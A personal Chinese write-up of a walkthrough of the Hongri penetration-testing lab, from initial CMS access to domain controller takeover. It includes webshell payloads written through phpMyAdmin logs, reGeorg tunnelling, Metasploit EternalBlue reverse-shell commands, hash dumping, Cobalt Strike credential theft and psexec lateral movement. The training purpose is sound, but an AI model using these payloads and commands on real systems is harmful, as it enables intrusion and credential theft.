目录

红日靶场一个人笔记

红日靶场(一)——个人笔记

说明:

  • 红日靶场官网

  • 靶场默认密码

    hongrisec@2019

  • 预留空间

    【攻击机Kail_2023.3】70G

    【靶场win7】32G

    【靶场Win2K3 】11G

    【靶场winserver08】23G

环境搭建

修改VMnet1、VMnet2网卡的地址

将VMnet1作为内网,VMnet8作为外网,其中需要注意的是,VMnet1的子网地址必须是 192.168.52.0 ,否则后面win7的web服务无法开启

https://i-blog.csdnimg.cn/img_convert/aaa326d60fb2f894bc434bab9e813a39.png

cmd查看网卡确保已经生效

https://i-blog.csdnimg.cn/img_convert/5dcbd4ffc323a5398e6c8a3103e97b79.png

跳板机 Win 7(VMnet1 - 72.131、VMnet2 - 52.143)

需要模拟内网和外网两个网段,Win7虚拟机相当于网关服务器,所以需要两张网卡

https://i-blog.csdnimg.cn/img_convert/4b45d926167c4d48628c4272bda4ea32.png

首次登录后,需要再重启电脑,不然phpstudy可能无法启动。

跳板机 Win 7

内网ip: 192.168.52.143

外网ip:192.168.132.145

https://i-blog.csdnimg.cn/img_convert/ec78a052c6e53ff484f457807acba7fe.png

同时记得把虚拟机的防火墙关闭,否则我们的攻击机ping不通我们的win7虚拟机

ping一下主机,能ping通说明外网设置成功

ping一下DC域控,能ping通说明内网设置也成功

域内主机 Win2K3(VMnet2 - 52.141)

配置vmnet1

ip:192.168.52.141

https://i-blog.csdnimg.cn/img_convert/07a1c25f2a97cbdd33c8f8c6992463a8.png

域控 Server 2008 R2(VMnet2 - 52.138)

配置vmnet1

ip:192.168.52.138

https://i-blog.csdnimg.cn/img_convert/c3d71b862928376b5740b732e768a037.png

攻击机kali

ip:192.168.132.143

快照

拍摄所有机器初始化快照

拓扑图

https://i-blog.csdnimg.cn/img_convert/ad181a5bc1bc6eed08975a86f1c85dc3.png

外网探测

访问公司外网服务端:http://192.168.132.145/yxcms/

在公告处泄露后台地址

https://i-blog.csdnimg.cn/img_convert/38ce68d213939832db205b98b42ccc07.png

并且已知初始默认密码:admin/123456

尝试弱口令

https://i-blog.csdnimg.cn/img_convert/4ece8a25d889e1337938ebc25df3f659.png

成功进入公司后台

https://i-blog.csdnimg.cn/img_convert/6e7c6a1d0b97d3939d3b26a3d55376d2.png

思考:
公司内部只有这一台机器能访问外网,也就是通过这台机器作为跳板机,实现内网穿透

先在公司后台随便点点

方法一:通过php传马连接

发现公司前台模板可以直接编辑php文件

可以尝试传马连接

https://i-blog.csdnimg.cn/img_convert/98a82f13a116430c50453a0d968cefee.png

https://i-blog.csdnimg.cn/img_convert/a1e6e1abea30ef1fe0e4289e35461dbd.png

思考:
一句话木马写上去,现在的关键是找到这个文件的目录,可以扫一下,然后看看有没有目录遍历漏洞

拿到robots.txt目录

https://i-blog.csdnimg.cn/img_convert/4f5d84f0b5f455ef985e6edaa6118905.png

#
# robots.txt for YXCMS
#
User-agent: * 
Disallow: /data
Disallow: /protected

/protected发现目录遍历漏洞

https://i-blog.csdnimg.cn/img_convert/feb92cf71eb1f879cfe4d048a27069b1.png

找到文件目录

http://192.168.132.145/yxcms//protected/apps/default/view/default/acomment.php

https://i-blog.csdnimg.cn/img_convert/eefa0b28b290124d43cb175219b9ab79.png

连接成功,拿到跳板机后台权限

https://i-blog.csdnimg.cn/img_convert/daa7d34af6dd7f5b6b93deb10f4a167c.png

方法二:phpmyadmin后台getshell

这里可以发现web服务器上面有phpmyadmin,那么我们可以登陆进去,这里是靶机,自然就是弱密码了(root/root):

phpmyadmin后台getshell的常用手段有以下几种方式:

> 1、select into outfile直接写入
> 
> 2、开启全局日志getshell
> 
> 3、使用慢查询日志getsehll
> 
> 4、使用错误日志getshell
> 
> 5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
show variables like '%secure%';

发现没有写入权限,无法用select into outfile方法写入shell。

https://i-blog.csdnimg.cn/img_convert/a766e35e39e0d3d31305c05e09df3909.png

第二种方法,利用全局变量general_log去getshell

show variables like '%general%';

https://i-blog.csdnimg.cn/img_convert/351215621f202adb688cf156b4b6e631.png

我们将全局日志开启并将保存日志的目录设为web目录

 set global general_log=on;# 开启日志
 
 set global general_log_file='C:/phpStudy/WWW/yxcms/hack.php';# 设置日志位置为网站目录

设置成功

https://i-blog.csdnimg.cn/img_convert/5b15a7b2b2605c0f26f18bf41e4d6f38.png

此时执行如下语句即可写入webshell到hack.php中

select '<?php eval($_POST[whoami]); ?>'

用蚁剑连接即可

方法三:使用慢查询日志getsehll

show variables like '%slow%'set global slow_query_log=on;set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'select '<?php @eval($_POST[cmd]);?>' or sleep(10);

方法四:使用错误日志getshell

打入内网

域内信息收集

可以发现我们拿到的shell是管理员

https://i-blog.csdnimg.cn/img_convert/f91cdb32b20d20b6c0204a320017a2e1.png

信息收集:

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器主机名(可能有多台)

首先判断是否存在域:ipconfig /all

可以发现存在域: god.org

https://i-blog.csdnimg.cn/img_convert/487c6ca3d115cbe1f10005a403be3265.png

接着使用 net view /domain 查看有几个域

可以发现只有一个域GOD

https://i-blog.csdnimg.cn/img_convert/239adcd846ba8431b0ff6f764566bbc5.png

接下来我们查看域控主机名,我们使用 net group "domain controllers" /domain 进行查询即可,我们可以查询到域控为 owa

https://i-blog.csdnimg.cn/img_convert/f46be5e7b31993425893d0eecd027636.png

接着查询所有域内主机,如下所示 net view

https://i-blog.csdnimg.cn/img_convert/872c00b228dc7bf9ba1d5ac95a46d5cd.png

接着查询域内IP,使用 arp -a 进行查询

https://i-blog.csdnimg.cn/img_convert/a8b3d5e666dcf74e61dbe62dec2668bd.png

为了确定哪个是域控主机IP,我们尝试去ping一下域名 ping owa.god.org

域控ip为192.168.52.138

https://i-blog.csdnimg.cn/img_convert/42696a9f58a82b7c3d5268ff5350a164.png

收集到的信息:

域名为 god
域中有三台主机:
stu1.god.org   
root-tvi862ubeh.god.org   192.168.52.141
owa.god.org   192.168.52.138 域控主机

内网网段为192.168.52.1/24

内网穿透

reGeorg+Proxchains实现内网穿透

将tunnel.nosocket.php上传到跳板机上访问这个文件,显示必须是 Georg says, 'All seems fine' 才表明是可用的!

https://i-blog.csdnimg.cn/img_convert/7a57d3e1e84f2d8c370962e479040a28.png

https://i-blog.csdnimg.cn/img_convert/c074b484206a136002b75adb01ab618a.png

python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.132.149/yxcms/protected/apps/default/view/default/tunnel.nosocket.php

ping通内网,实现内网穿透

https://i-blog.csdnimg.cn/img_convert/ecc3ceb8b6dace68d7a511cbf009255e.png

https://i-blog.csdnimg.cn/img_convert/d9330968dca625a937c1dd79505c1c7c.png

隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访向目标内网中的资源。

git clone https://github.com/rofl0r/proxychains-ng
vi /etc/proxychains.conf
socks5  192.168.1.34 9999
proxychains nmap -Pn -sT 192.168.52.138

https://i-blog.csdnimg.cn/img_convert/91ab3ead23c5cf4db6dabd030b623e2c.png

nmap -sV -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379 192.168.52.138

https://i-blog.csdnimg.cn/img_convert/f92d146f663e8ac967707ce38e0a6f4d.png

python web结合chisel实现内网穿透

横向渗透

可以发现开放445端口

尝试永恒之蓝

加载扫描模块

use auxiliary/scanner/smb/smb_ms17_010   #利用漏洞
set rhosts 192.168.52.138   #配置rhosts
exploit  #扫描漏洞

使用永恒之蓝攻击模块: exploit/windows/smb/ms17_010_eternalblue

use exploit/windows/smb/ms17_010_eternalblue  #利用漏洞
set payload      #设置攻击载荷
set rhosts 192.168.52.138   #配置rhosts
exploit      #开始攻击

漏洞利用失败

https://i-blog.csdnimg.cn/img_convert/78a7749c10a974c7e4dfecac8fdc7a7f.png

拿下域控

哈希传递可以拿下域控(此方法适用于内网主机本地管理员密码相同)

哈希传递攻击:
在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机。
攻击流程:
1. 获得一台域控主机的权限,Dump内存获得该主机获得该主机的用户密码Hash值;
2. 通过哈希传递攻击尝试登录其他主机
3. 继续收集哈希并尝试远程登录,知道获得域管理员Hash,登录域控,控制整个域

使用hashdump获取哈希值

msf之hash攻击

不过这里我没有拿msf维持权限,无法使用这个方法

msfconsole                                # 启动metasploit
use exploit/windows/smb/ms17_010_eternalblue   # 用这个模块
set payload windows/x64/meterpreter/reverse_tcp   # 用这个payload
set RHOST 192.168.52.138                            # 靶机IP
set LHOST 192.168.132.143                            # 攻击机IP 
run                                                  # 开始攻击

Quarks PwDump抓取密码

直接运行Quarks PwDump.exe
-dhl:导出本地哈希值
-dhdc:导出内存中的域控哈希值
-dhd:导出域控哈希值,必须指定NTDS文件
-db:导出Bitlocker信息,必须指定NTDS文件
-nt:导出NTDS文件
-hist:导出历史信息,可选项
-t:可选导出类型,默认导出JOhn类型
-o:导出文件到本地
QuarksPwDump.exe --dump-hash-local --output 1.txt

https://i-blog.csdnimg.cn/img_convert/c7814d9619be99c2d2d289fdf4e4db0f.png

拿到hash值

https://i-blog.csdnimg.cn/img_convert/c29a9843d7e666dc7318918c10e3c088.png

liukaifeng01:1000:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

至此为止,后面我就不太能理解。使用CS上线

CS上线

https://i-blog.csdnimg.cn/img_convert/fb6640e4b1b7fbc219f36db600bddb5f.png

监听:

https://i-blog.csdnimg.cn/img_convert/5ab24fdd6dfbda52aea448f98830d2e6.png

上线木马,传给win7机器

https://i-blog.csdnimg.cn/img_convert/1b52f360da76c59074b637bf0807358c.png

在控制机中运行木马文件

https://i-blog.csdnimg.cn/img_convert/12f6b6dea1af43907d3de6a4ea4dc5e8.png

成功上线:

https://i-blog.csdnimg.cn/img_convert/5a3224b1a63cf28048dbbc777fbdaeae.png

尝试查看明文密码:logonpasswords

https://i-blog.csdnimg.cn/img_convert/2f78e9626d37bbcf5323ba428c37a9bf.png

扫描域控

fscan_1.7.0.exe -h 192.168.52.138 -np -nopoc -nobr -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379

https://i-blog.csdnimg.cn/img_convert/7ffd4bfb69f1ce31aa90d3454ee14b5c.png

可以发现445端口开启

SMB Beacon :

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线

使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。

https://i-blog.csdnimg.cn/img_convert/fcd02139afefd35480d8adb8c8f5c6ed.png

使用条件:

- 具有 Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

简略原理:

假设有三个主机 a b c,我们的C2是a且我们已经有了b的权限,b可以访问c,c也可以访问b但不能访问a
这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)

https://i-blog.csdnimg.cn/img_convert/49638c0108790eb9a4e4af2f6c937d98.png

方案一:

得到了域控的账号密码:hongri@2019。这时候我们使用smb beacon进行横移

(这里没太理解)

在beacon里输入命令
shell net use \\192.168.52.138\admin$ /user:"administrator" "hongri@2019"#建立连接
ls \\192.168.52.138\c$#看是否连接成功
jump psexec64 192.168.52.138 cs# 建立smb beacon连接,最后的cs是我的smb listener 的名字。
net use \\192.168.52.138\admin$ /delete#删除链接

https://i-blog.csdnimg.cn/img_convert/0de4b4948dd6dd25ce330b1710d5f9bb.png

方案二:

扫描一下内网

https://i-blog.csdnimg.cn/img_convert/ede7cc1885f99252f7b7c1c17f6ee2fc.png

新建一个 Beacon SMB 监听器

https://i-blog.csdnimg.cn/img_convert/97fa3e4652c8c402cd841e0966f9b42b.png

域管右键选择psexec

https://i-blog.csdnimg.cn/img_convert/9646a80fe7ffd71bcad17104aa4b0db4.png

上线域控:

https://i-blog.csdnimg.cn/img_convert/cba4369a4bb0eff8ff1cbd47a7a27e6e.png

至此,渗透结束!

这是我第一次完整的打渗透靶场,参考很多大佬的博客。